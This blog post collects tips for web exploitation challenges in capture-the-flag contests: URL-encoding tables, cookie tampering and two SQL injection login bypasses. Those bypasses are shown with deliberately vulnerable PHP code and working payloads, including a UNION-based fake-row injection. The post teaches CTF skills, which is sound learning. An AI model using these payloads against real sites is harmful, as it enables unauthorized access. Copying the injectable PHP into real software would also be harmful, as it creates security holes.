Learning from the CTF : Web Exploitation

This post (Work in Progress) lists the tips and tricks while doing Web Exploitation challenges during various CTF’s.

  • You may want to use your browser to view the source of the web page. Sometimes, important information is hidden using comments.

  • It may be helpful to learn how to ‘Inspect Elements’ in your browser. It helps you to distinguish each element which might be or not be hidden.

  • Some symbols need to be URL Encoded when included in GET requests.

    Reserved characters after percent-encoding

    !   #       $       &       '       (       )       *       +       ,       /       :       ;       =       ?       @       [       ]
    %21 %23     %24     %26     %27     %28     %29     %2A     %2B     %2C     %2F     %3A     %3B     %3D     %3F     %40     %5B     %5D
    

    Common characters after percent-encoding (ASCII or UTF-8 based)

    newline                   space   "       %       -       .       <       >       \       ^       _       `       {       |       }       ~
    %0A or %0D or %0D%0A      %20     %22     %25     %2D     %2E     %3C     %3E     %5C     %5E     %5F     %60     %7B     %7C     %7D     %7E
    
  • In some web exploitation challenges, if the secret is stored on the client side and there are some javascript involved, you could possibly find the answer in the Javascript console, Browser Developer Tools. (F12 Key).

  • Websites keep track of you (Whether you are login-ed or not) by keeping a cookie for you, check that if the value (if easy and most probably assigned linearly) of cookie can be changed to any user who might already be logined.

  • If the Login prompt contains SQL query and check contains only one result if (mysqli_num_rows($result) !== 1), then use limit 1 such as admin’ or 1=1 limit 1;#

$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) !== 1) {
   echo "<h1>Login failed.</h1>";
   } else {
   echo "<h1>Logged in!</h1>";
   echo "<p>Your flag is: $FLAG</p>";
}
  • If the Login prompt contains SQL query and checks only one result, plus have extra checks (see example below), then we can create a fake row SQL whose value we control.

     $con = mysqli_connect("localhost", "sql2", "sql2", "sql2");
     $username = $_POST["username"];
     $password = $_POST["password"];
     $query = "SELECT * FROM users WHERE username='$username'";
     $result = mysqli_query($con, $query);
    
     $logged_in = false;
     if (mysqli_num_rows($result) === 1) {
         $row = mysqli_fetch_array($result);
         if ($row["password"] === $password) {
                 $logged_in = true;
                 echo "<h1>Logged in!</h1>";
                 echo "<pre>User level: ", $row["user_level"],  "</pre>";
                 if ($row["user_level"] >= 1337) {
                         echo "<p>Your flag is: $FLAG</p>";
                         } else {
                   echo "<p>Only user levels 1337 or above can see the flag.</p>";
                         }
                 }
           }
    
    You have to create a fake query such as
    
random'AND 1=0 UNION ALL SELECT 'admin' AS username, 'hax' AS password, 2000 AS user_level --
where
The ' closes the username string and 1=0 will always return false, invalidating the first half.
The union all statement allows us to concatenate two SQL select queries, so we append UNION ALL and then our fake select statement.

Don’t forget to enter the same password in the password field :P

  • Perl Script running on a webpage, read Security Issues in Perl Scripts.
  • In some web exploitation excercises, you can modify the GET/POST request in the burpsuite to get the flag.